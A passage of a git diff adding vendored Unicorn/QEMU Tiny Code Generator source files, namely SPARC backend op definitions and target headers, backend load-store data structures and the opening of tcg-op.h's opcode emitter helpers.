}, + { INDEX_op_mulu2_i32, { "r", "r", "rZ", "rJ" } }, + { INDEX_op_muls2_i32, { "r", "r", "rZ", "rJ" } }, + + { INDEX_op_ld8u_i64, { "R", "r" } }, + { INDEX_op_ld8s_i64, { "R", "r" } }, + { INDEX_op_ld16u_i64, { "R", "r" } }, + { INDEX_op_ld16s_i64, { "R", "r" } }, + { INDEX_op_ld32u_i64, { "R", "r" } }, + { INDEX_op_ld32s_i64, { "R", "r" } }, + { INDEX_op_ld_i64, { "R", "r" } }, + { INDEX_op_st8_i64, { "RZ", "r" } }, + { INDEX_op_st16_i64, { "RZ", "r" } }, + { INDEX_op_st32_i64, { "RZ", "r" } }, + { INDEX_op_st_i64, { "RZ", "r" } }, + + { INDEX_op_add_i64, { "R", "RZ", "RJ" } }, + { INDEX_op_mul_i64, { "R", "RZ", "RJ" } }, + { INDEX_op_div_i64, { "R", "RZ", "RJ" } }, + { INDEX_op_divu_i64, { "R", "RZ", "RJ" } }, + { INDEX_op_sub_i64, { "R", "RZ", "RJ" } }, + { INDEX_op_and_i64, { "R", "RZ", "RJ" } }, + { INDEX_op_andc_i64, { "R", "RZ", "RJ" } }, + { INDEX_op_or_i64, { "R", "RZ", "RJ" } }, + { INDEX_op_orc_i64, { "R", "RZ", "RJ" } }, + { INDEX_op_xor_i64, { "R", "RZ", "RJ" } }, + + { INDEX_op_shl_i64, { "R", "RZ", "RJ" } }, + { INDEX_op_shr_i64, { "R", "RZ", "RJ" } }, + { INDEX_op_sar_i64, { "R", "RZ", "RJ" } }, + + { INDEX_op_neg_i64, { "R", "RJ" } }, + { INDEX_op_not_i64, { "R", "RJ" } }, + + { INDEX_op_ext32s_i64, { "R", "r" } }, + { INDEX_op_ext32u_i64, { "R", "r" } }, + { INDEX_op_trunc_shr_i32, { "r", "R" } }, + + { INDEX_op_brcond_i64, { "RZ", "RJ" } }, + { INDEX_op_setcond_i64, { "R", "RZ", "RJ" } }, + { INDEX_op_movcond_i64, { "R", "RZ", "RJ", "RI", "0" } }, + + { INDEX_op_add2_i64, { "R", "R", "RZ", "RZ", "RJ", "RI" } }, + { INDEX_op_sub2_i64, { "R", "R", "RZ", "RZ", "RJ", "RI" } }, + { INDEX_op_muluh_i64, { "R", "RZ", "RZ" } }, + + { INDEX_op_qemu_ld_i32, { "r", "A" } }, + { INDEX_op_qemu_ld_i64, { "R", "A" } }, + { INDEX_op_qemu_st_i32, { "sZ", "A" } }, + { INDEX_op_qemu_st_i64, { "SZ", "A" } }, + + { -1 }, +}; + +static void tcg_target_init(TCGContext *s) +{ + /* Only probe for the platform and capabilities if we havn't already + determined maximum values at compile time. */ +#ifndef use_vis3_instructions + { + unsigned long hwcap = qemu_getauxval(AT_HWCAP); + use_vis3_instructions = (hwcap & HWCAP_SPARC_VIS3) != 0; + } +#endif + + tcg_regset_set32(s->tcg_target_available_regs[TCG_TYPE_I32], 0, 0xffffffff); + tcg_regset_set32(s->tcg_target_available_regs[TCG_TYPE_I64], 0, ALL_64); + + tcg_regset_set32(s->tcg_target_call_clobber_regs, 0, + (1 << TCG_REG_G1) | + (1 << TCG_REG_G2) | + (1 << TCG_REG_G3) | + (1 << TCG_REG_G4) | + (1 << TCG_REG_G5) | + (1 << TCG_REG_G6) | + (1 << TCG_REG_G7) | + (1 << TCG_REG_O0) | + (1 << TCG_REG_O1) | + (1 << TCG_REG_O2) | + (1 << TCG_REG_O3) | + (1 << TCG_REG_O4) | + (1 << TCG_REG_O5) | + (1 << TCG_REG_O7)); + + tcg_regset_clear(s->reserved_regs); + tcg_regset_set_reg(s->reserved_regs, TCG_REG_G0); /* zero */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_G6); /* reserved for os */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_G7); /* thread pointer */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_I6); /* frame pointer */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_I7); /* return address */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_O6); /* stack pointer */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_T1); /* for internal use */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_T2); /* for internal use */ + + tcg_add_target_add_op_defs(s, sparc_op_defs); +} + +#if SPARC64 +# define ELF_HOST_MACHINE EM_SPARCV9 +#else +# define ELF_HOST_MACHINE EM_SPARC32PLUS +# define ELF_HOST_FLAGS EF_SPARC_32PLUS +#endif + +void tb_set_jmp_target1(uintptr_t jmp_addr, uintptr_t addr) +{ + uint32_t *ptr = (uint32_t *)jmp_addr; + uintptr_t disp = addr - jmp_addr; + + /* We can reach the entire address space for 32-bit. For 64-bit + the code_gen_buffer can't be larger than 2GB. */ + assert(disp == (int32_t)disp); + + *ptr = CALL | (uint32_t)disp >> 2; + flush_icache_range(jmp_addr, jmp_addr + 4); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/sparc/tcg-target.h b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/sparc/tcg-target.h new file mode 100644 index 0000000..b1b2265 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/sparc/tcg-target.h @@ -0,0 +1,167 @@ +/* + * Tiny Code Generator for QEMU + * + * Copyright (c) 2008 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef TCG_TARGET_SPARC +#define TCG_TARGET_SPARC 1 + +#define TCG_TARGET_REG_BITS 64 + +#define TCG_TARGET_INSN_UNIT_SIZE 4 +#define TCG_TARGET_NB_REGS 32 + +typedef enum { + TCG_REG_G0 = 0, + TCG_REG_G1, + TCG_REG_G2, + TCG_REG_G3, + TCG_REG_G4, + TCG_REG_G5, + TCG_REG_G6, + TCG_REG_G7, + TCG_REG_O0, + TCG_REG_O1, + TCG_REG_O2, + TCG_REG_O3, + TCG_REG_O4, + TCG_REG_O5, + TCG_REG_O6, + TCG_REG_O7, + TCG_REG_L0, + TCG_REG_L1, + TCG_REG_L2, + TCG_REG_L3, + TCG_REG_L4, + TCG_REG_L5, + TCG_REG_L6, + TCG_REG_L7, + TCG_REG_I0, + TCG_REG_I1, + TCG_REG_I2, + TCG_REG_I3, + TCG_REG_I4, + TCG_REG_I5, + TCG_REG_I6, + TCG_REG_I7, +} TCGReg; + +#define TCG_CT_CONST_S11 0x100 +#define TCG_CT_CONST_S13 0x200 +#define TCG_CT_CONST_ZERO 0x400 + +/* used for function call generation */ +#define TCG_REG_CALL_STACK TCG_REG_O6 + +#ifdef __arch64__ +#define TCG_TARGET_STACK_BIAS 2047 +#define TCG_TARGET_STACK_ALIGN 16 +#define TCG_TARGET_CALL_STACK_OFFSET (128 + 6*8 + TCG_TARGET_STACK_BIAS) +#else +#define TCG_TARGET_STACK_BIAS 0 +#define TCG_TARGET_STACK_ALIGN 8 +#define TCG_TARGET_CALL_STACK_OFFSET (64 + 4 + 6*4) +#endif + +#ifdef __arch64__ +#define TCG_TARGET_EXTEND_ARGS 1 +#endif + +#if defined(__VIS__) && __VIS__ >= 0x300 +#define use_vis3_instructions 1 +#else +extern bool use_vis3_instructions; +#endif + +/* optional instructions */ +#define TCG_TARGET_HAS_div_i32 1 +#define TCG_TARGET_HAS_rem_i32 0 +#define TCG_TARGET_HAS_rot_i32 0 +#define TCG_TARGET_HAS_ext8s_i32 0 +#define TCG_TARGET_HAS_ext16s_i32 0 +#define TCG_TARGET_HAS_ext8u_i32 0 +#define TCG_TARGET_HAS_ext16u_i32 0 +#define TCG_TARGET_HAS_bswap16_i32 0 +#define TCG_TARGET_HAS_bswap32_i32 0 +#define TCG_TARGET_HAS_neg_i32 1 +#define TCG_TARGET_HAS_not_i32 1 +#define TCG_TARGET_HAS_andc_i32 1 +#define TCG_TARGET_HAS_orc_i32 1 +#define TCG_TARGET_HAS_eqv_i32 0 +#define TCG_TARGET_HAS_nand_i32 0 +#define TCG_TARGET_HAS_nor_i32 0 +#define TCG_TARGET_HAS_deposit_i32 0 +#define TCG_TARGET_HAS_movcond_i32 1 +#define TCG_TARGET_HAS_add2_i32 1 +#define TCG_TARGET_HAS_sub2_i32 1 +#define TCG_TARGET_HAS_mulu2_i32 1 +#define TCG_TARGET_HAS_muls2_i32 1 +#define TCG_TARGET_HAS_muluh_i32 0 +#define TCG_TARGET_HAS_mulsh_i32 0 + +#define TCG_TARGET_HAS_trunc_shr_i32 1 +#define TCG_TARGET_HAS_div_i64 1 +#define TCG_TARGET_HAS_rem_i64 0 +#define TCG_TARGET_HAS_rot_i64 0 +#define TCG_TARGET_HAS_ext8s_i64 0 +#define TCG_TARGET_HAS_ext16s_i64 0 +#define TCG_TARGET_HAS_ext32s_i64 1 +#define TCG_TARGET_HAS_ext8u_i64 0 +#define TCG_TARGET_HAS_ext16u_i64 0 +#define TCG_TARGET_HAS_ext32u_i64 1 +#define TCG_TARGET_HAS_bswap16_i64 0 +#define TCG_TARGET_HAS_bswap32_i64 0 +#define TCG_TARGET_HAS_bswap64_i64 0 +#define TCG_TARGET_HAS_neg_i64 1 +#define TCG_TARGET_HAS_not_i64 1 +#define TCG_TARGET_HAS_andc_i64 1 +#define TCG_TARGET_HAS_orc_i64 1 +#define TCG_TARGET_HAS_eqv_i64 0 +#define TCG_TARGET_HAS_nand_i64 0 +#define TCG_TARGET_HAS_nor_i64 0 +#define TCG_TARGET_HAS_deposit_i64 0 +#define TCG_TARGET_HAS_movcond_i64 1 +#define TCG_TARGET_HAS_add2_i64 1 +#define TCG_TARGET_HAS_sub2_i64 1 +#define TCG_TARGET_HAS_mulu2_i64 0 +#define TCG_TARGET_HAS_muls2_i64 0 +#define TCG_TARGET_HAS_muluh_i64 use_vis3_instructions +#define TCG_TARGET_HAS_mulsh_i64 0 + +#define TCG_AREG0 TCG_REG_I0 + +#ifdef _MSC_VER +#include +static inline void flush_icache_range(uintptr_t start, uintptr_t stop) +{ + FlushInstructionCache(GetCurrentProcess(), (const void*)start, stop-start); +} +#else +static inline void flush_icache_range(uintptr_t start, uintptr_t stop) +{ + uintptr_t p; + for (p = start & -8; p < ((stop + 7) & -8); p += 8) { + __asm__ __volatile__("flush\t%0" : : "r" (p)); + } +} +#endif + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg-be-ldst.h b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg-be-ldst.h new file mode 100644 index 0000000..429cba2 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg-be-ldst.h @@ -0,0 +1,91 @@ +/* + * TCG Backend Data: load-store optimization only. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#ifdef CONFIG_SOFTMMU +#define TCG_MAX_QEMU_LDST 640 + +typedef struct TCGLabelQemuLdst { + bool is_ld; /* qemu_ld: true, qemu_st: false */ + TCGMemOp opc; + TCGType type; /* result type of a load */ + TCGReg addrlo_reg; /* reg index for low word of guest virtual addr */ + TCGReg addrhi_reg; /* reg index for high word of guest virtual addr */ + TCGReg datalo_reg; /* reg index for low word to be loaded or stored */ + TCGReg datahi_reg; /* reg index for high word to be loaded or stored */ + int mem_index; /* soft MMU memory index */ + tcg_insn_unit *raddr; /* gen code addr of the next IR of qemu_ld/st IR */ + tcg_insn_unit *label_ptr[2]; /* label pointers to be updated */ +} TCGLabelQemuLdst; + +typedef struct TCGBackendData { + int nb_ldst_labels; + TCGLabelQemuLdst ldst_labels[TCG_MAX_QEMU_LDST]; +} TCGBackendData; + + +/* + * Initialize TB backend data at the beginning of the TB. + */ + +static inline void tcg_out_tb_init(TCGContext *s) +{ + s->be->nb_ldst_labels = 0; +} + +/* + * Generate TB finalization at the end of block + */ + +static void tcg_out_qemu_ld_slow_path(TCGContext *s, TCGLabelQemuLdst *l); +static void tcg_out_qemu_st_slow_path(TCGContext *s, TCGLabelQemuLdst *l); + +static void tcg_out_tb_finalize(TCGContext *s) +{ + TCGLabelQemuLdst *lb = s->be->ldst_labels; + int i, n = s->be->nb_ldst_labels; + + /* qemu_ld/st slow paths */ + for (i = 0; i < n; i++) { + if (lb[i].is_ld) { + tcg_out_qemu_ld_slow_path(s, lb + i); + } else { + tcg_out_qemu_st_slow_path(s, lb + i); + } + } +} + +/* + * Allocate a new TCGLabelQemuLdst entry. + */ + +static inline TCGLabelQemuLdst *new_ldst_label(TCGContext *s) +{ + TCGBackendData *be = s->be; + int n = be->nb_ldst_labels; + + assert(n < TCG_MAX_QEMU_LDST); + be->nb_ldst_labels = n + 1; + return &be->ldst_labels[n]; +} +#else +#include "tcg-be-null.h" +#endif /* CONFIG_SOFTMMU */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg-be-null.h b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg-be-null.h new file mode 100644 index 0000000..ba2da3c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg-be-null.h @@ -0,0 +1,45 @@ +/* + * TCG Backend Data: No backend data + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#include "tcg.h" + +typedef struct TCGBackendData { + /* Empty */ + char dummy; +} TCGBackendData; + + +/* + * Initialize TB backend data at the beginning of the TB. + */ + +static inline void tcg_out_tb_init(TCGContext *s) +{ +} + +/* + * Generate TB finalization at the end of block + */ + +static inline void tcg_out_tb_finalize(TCGContext *s) +{ +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg-op.h b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg-op.h new file mode 100644 index 0000000..51a0631 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/tcg-op.h @@ -0,0 +1,2784 @@ +/* + * Tiny Code Generator for QEMU + * + * Copyright (c) 2008 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#include "tcg.h" +#include "exec/helper-proto.h" +#include "exec/helper-gen.h" + +int gen_new_label(TCGContext *); + +static inline void gen_uc_tracecode(TCGContext *tcg_ctx, int32_t size, int32_t type, void *uc, uint64_t pc) +{ + TCGv_i32 tsize = tcg_const_i32(tcg_ctx, size); + TCGv_i32 ttype = tcg_const_i32(tcg_ctx, type); + TCGv_ptr tuc = tcg_const_ptr(tcg_ctx, uc); + TCGv_i64 tpc = tcg_const_i64(tcg_ctx, pc); + gen_helper_uc_tracecode(tcg_ctx, tsize, ttype, tuc, tpc); +} + +static inline void tcg_gen_op0(TCGContext *s, TCGOpcode opc) +{ + *s->gen_opc_ptr++ = opc; +} + +static inline void tcg_gen_op1_i32(TCGContext *s, TCGOpcode opc, TCGv_i32 arg1) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg1); +} + +static inline void tcg_gen_op1_i64(TCGContext *s, TCGOpcode opc, TCGv_i64 arg1) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg1); +} + +static inline void tcg_gen_op1i(TCGContext *s, TCGOpcode opc, TCGArg arg1) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = arg1; +} + +static inline void tcg_gen_op2_i32(TCGContext *s, TCGOpcode opc, TCGv_i32 arg1, TCGv_i32 arg2) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg2); +} + +static inline void tcg_gen_op2_i64(TCGContext *s, TCGOpcode opc, TCGv_i64 arg1, TCGv_i64 arg2) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg2); +} + +static inline void tcg_gen_op2i_i32(TCGContext *s, TCGOpcode opc, TCGv_i32 arg1, TCGArg arg2) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg1); + *s->gen_opparam_ptr++ = arg2; +} + +static inline void tcg_gen_op2i_i64(TCGContext *s, TCGOpcode opc, TCGv_i64 arg1, TCGArg arg2) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg1); + *s->gen_opparam_ptr++ = arg2; +} + +static inline void tcg_gen_op2ii(TCGContext *s, TCGOpcode opc, TCGArg arg1, TCGArg arg2) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = arg1; + *s->gen_opparam_ptr++ = arg2; +} + +static inline void tcg_gen_op3_i32(TCGContext *s, TCGOpcode opc, TCGv_i32 arg1, TCGv_i32 arg2, + TCGv_i32 arg3) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg2); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg3); +} + +static inline void tcg_gen_op3_i64(TCGContext *s, TCGOpcode opc, TCGv_i64 arg1, TCGv_i64 arg2, + TCGv_i64 arg3) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg2); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg3); +} + +static inline void tcg_gen_op3i_i32(TCGContext *s, TCGOpcode opc, TCGv_i32 arg1, + TCGv_i32 arg2, TCGArg arg3) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg2); + *s->gen_opparam_ptr++ = arg3; +} + +static inline void tcg_gen_op3i_i64(TCGContext *s, TCGOpcode opc, TCGv_i64 arg1, + TCGv_i64 arg2, TCGArg arg3) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg2); + *s->gen_opparam_ptr++ = arg3; +} + +static inline void tcg_gen_ldst_op_i32(TCGContext *s, TCGOpcode opc, TCGv_i32 val, + TCGv_ptr base, TCGArg offset) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I32(val); + *s->gen_opparam_ptr++ = GET_TCGV_PTR(base); + *s->gen_opparam_ptr++ = offset; +} + +static inline void tcg_gen_ldst_op_i64(TCGContext *s, TCGOpcode opc, TCGv_i64 val, + TCGv_ptr base, TCGArg offset) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I64(val); + *s->gen_opparam_ptr++ = GET_TCGV_PTR(base); + *s->gen_opparam_ptr++ = offset; +} + +static inline void tcg_gen_op4_i32(TCGContext *s, TCGOpcode opc, TCGv_i32 arg1, TCGv_i32 arg2, + TCGv_i32 arg3, TCGv_i32 arg4) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg2); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg3); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg4); +} + +static inline void tcg_gen_op4_i64(TCGContext *s, TCGOpcode opc, TCGv_i64 arg1, TCGv_i64 arg2, + TCGv_i64 arg3, TCGv_i64 arg4) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg2); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg3); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg4); +} + +static inline void tcg_gen_op4i_i32(TCGContext *s, TCGOpcode opc, TCGv_i32 arg1, TCGv_i32 arg2, + TCGv_i32 arg3, TCGArg arg4) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg2); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg3); + *s->gen_opparam_ptr++ = arg4; +} + +static inline void tcg_gen_op4i_i64(TCGContext *s, TCGOpcode opc, TCGv_i64 arg1, TCGv_i64 arg2, + TCGv_i64 arg3, TCGArg arg4) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg2); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg3); + *s->gen_opparam_ptr++ = arg4; +} + +static inline void tcg_gen_op4ii_i32(TCGContext *s, TCGOpcode opc, TCGv_i32 arg1, TCGv_i32 arg2, + TCGArg arg3, TCGArg arg4) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg2); + *s->gen_opparam_ptr++ = arg3; + *s->gen_opparam_ptr++ = arg4; +} + +static inline void tcg_gen_op4ii_i64(TCGContext *s, TCGOpcode opc, TCGv_i64 arg1, TCGv_i64 arg2, + TCGArg arg3, TCGArg arg4) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg2); + *s->gen_opparam_ptr++ = arg3; + *s->gen_opparam_ptr++ = arg4; +} + +static inline void tcg_gen_op5_i32(TCGContext *s, TCGOpcode opc, TCGv_i32 arg1, TCGv_i32 arg2, + TCGv_i32 arg3, TCGv_i32 arg4, TCGv_i32 arg5) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg2); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg3); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg4); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg5); +} + +static inline void tcg_gen_op5_i64(TCGContext *s, TCGOpcode opc, TCGv_i64 arg1, TCGv_i64 arg2, + TCGv_i64 arg3, TCGv_i64 arg4, TCGv_i64 arg5) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg2); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg3); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg4); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg5); +} + +static inline void tcg_gen_op5i_i32(TCGContext *s, TCGOpcode opc, TCGv_i32 arg1, TCGv_i32 arg2, + TCGv_i32 arg3, TCGv_i32 arg4, TCGArg arg5) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg2); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg3); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg4); + *s->gen_opparam_ptr++ = arg5; +} + +static inline void tcg_gen_op5i_i64(TCGContext *s, TCGOpcode opc, TCGv_i64 arg1, TCGv_i64 arg2, + TCGv_i64 arg3, TCGv_i64 arg4, TCGArg arg5) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg2); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg3); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg4); + *s->gen_opparam_ptr++ = arg5; +} + +static inline void tcg_gen_op5ii_i32(TCGContext *s, TCGOpcode opc, TCGv_i32 arg1, + TCGv_i32 arg2, TCGv_i32 arg3, + TCGArg arg4, TCGArg arg5) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg2); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg3); + *s->gen_opparam_ptr++ = arg4; + *s->gen_opparam_ptr++ = arg5; +} + +static inline void tcg_gen_op5ii_i64(TCGContext *s, TCGOpcode opc, TCGv_i64 arg1, + TCGv_i64 arg2, TCGv_i64 arg3, + TCGArg arg4, TCGArg arg5) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg2); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg3); + *s->gen_opparam_ptr++ = arg4; + *s->gen_opparam_ptr++ = arg5; +} + +static inline void tcg_gen_op6_i32(TCGContext *s, TCGOpcode opc, TCGv_i32 arg1, TCGv_i32 arg2, + TCGv_i32 arg3, TCGv_i32 arg4, TCGv_i32 arg5, + TCGv_i32 arg6) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg2); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg3); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg4); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg5); + *s->gen_opparam_ptr++ = GET_TCGV_I32(arg6); +} + +static inline void tcg_gen_op6_i64(TCGContext *s, TCGOpcode opc, TCGv_i64 arg1, TCGv_i64 arg2, + TCGv_i64 arg3, TCGv_i64 arg4, TCGv_i64 arg5, + TCGv_i64 arg6) +{ + *s->gen_opc_ptr++ = opc; + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg1); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg2); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg3); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg4); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg5); + *s->gen_opparam_ptr++ = GET_TCGV_I64(arg6); +} + +static inline void tcg_gen_op6i_i32(TCGContext *s, TCGOpcode opc, TCGv_i32 arg1, TCGv_i32 